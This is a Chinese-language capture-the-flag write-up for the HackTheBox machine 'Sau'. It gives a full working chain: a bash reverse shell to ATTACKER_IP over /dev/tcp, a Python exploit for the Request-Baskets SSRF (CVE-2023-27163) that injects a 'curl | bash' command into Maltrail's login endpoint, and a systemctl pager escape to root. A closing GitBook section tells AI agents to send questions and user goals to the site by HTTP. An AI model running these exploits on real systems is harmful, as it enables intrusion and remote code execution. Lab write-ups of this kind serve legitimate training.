> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/sau-hackthebox-writeup.md). # Sau HackTheBox 复盘 {% embed url="" %} {% hint style="warning" %} **技能：** * Request-Baskets SSRF * Maltrail 命令注入 * `systemctl` 分页器逃逸 {% endhint %} ## 侦察为扫描输出、内容和漏洞利用创建工作区。 ```bash mkdir {nmap,content,script,exploit} ```

先进行全端口 TCP 扫描。端口 `22` 和端口 `55555` 已开放。 ```bash nmap -p- --open -sS -n -PN --min-rate 5000 -vvv 10.129.229.26 -oG allPorts ```

识别暴露的服务版本。 ```bash nmap -sCV -p22,55555 10.129.229.26 -oN targeted ```

HTTP 服务是 Request-Baskets `1.2.1`.

这个版本可通过 basket 转发受到 SSRF 漏洞影响。

该漏洞允许我们创建一个会将请求转发到内部服务的 basket。 {% embed url="" %} ## 初始访问 Request-Baskets 可以访问本地 Maltrail 服务。Maltrail 的登录端点存在命令注入。 ### 准备监听器创建一个反向 shell 脚本。将 `ATTACKER_IP` 替换为你的 VPN 地址。 ```bash echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > shell.sh python3 -m http.server 80 nc -nvlp 4444 ``` ### 利用 SSRF 使用链接的 PoC 创建一个 basket。它会将请求转发到 `127.0.0.1`. 将以下脚本保存为 `exploit.py`。它会创建 basket 并触发 Maltrail 载荷。 {% code title="exploit.py" overflow="wrap" %} ```python import argparse import json import sys import requests def get_args(): parser = argparse.ArgumentParser( description="利用 Request-Baskets 中的 CVE-2023-27163。" ) parser.add_argument("-t", "--target", required=True) parser.add_argument("-p", "--port", type=int, default=80) parser.add_argument("-b", "--basket", required=True) parser.add_argument("--local-ip", required=True) parser.add_argument("--local-port", type=int, default=80) parser.add_argument("--payload-file", required=True) return parser.parse_args() def create_basket(target_url, basket_name): payload = { "forward_url": "http://127.0.0.1", "proxy_response": True, "insecure_tls": False, "expand_path": True, "capacity": 250, } response = requests.post( f"{target_url}/api/baskets/{basket_name}", json=payload, ) if response.status_code in [200, 201, 202]: return response.json()["token"] print(f"创建 basket 失败：{response.text}") sys.exit(1) def trigger_rce(target_url, basket_name, token, local_ip, local_port, payload_file): payload_url = f"http://{local_ip}:{local_port}/{payload_file}" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/x-www-form-urlencoded", } data = f"username=;`curl {payload_url} | bash`" response = requests.post( f"{target_url}/{basket_name}/login", data=data, headers=headers, ) if response.status_code in [200, 201, 202]: print("载荷已发送。请检查监听器。") return print(f"RCE 触发失败：{response.text}") def main(): args = get_args() target_url = f"http://{args.target}:{args.port}" token = create_basket(target_url, args.basket) trigger_rce( target_url, args.basket, token, args.local_ip, args.local_port, args.payload_file, ) if __name__ == "__main__": main() ``` {% endcode %} {% code overflow="wrap" %} ```bash python3 exploit.py -t 10.129.229.26 -p 55555 -b shell --local-ip 10.10.15.2 --local-port 80 --payload-file shell.sh ``` {% endcode %} 利用程序通过 basket 请求 Maltrail 登录端点。它下载 `shell.sh` 并返回一个 shell。

### 用户 flag

## 权限提升检查当前用户的 sudo 权限。 {% code overflow="wrap" %} ```bash sudo -l ``` {% endcode %}

该用户可以以 root 身份查看 `trail.service` 的状态。 `systemctl` 将输出打开在 `less`.

运行允许的命令。确保输出在分页器中打开。 ```bash sudo /usr/bin/systemctl status trail.service ``` 在 `less`中，执行 shell 逃逸。 {% code overflow="wrap" %} ```bash !sh ``` {% endcode %} 得到的 shell 以 `root`.

### Root flag

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/sau-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.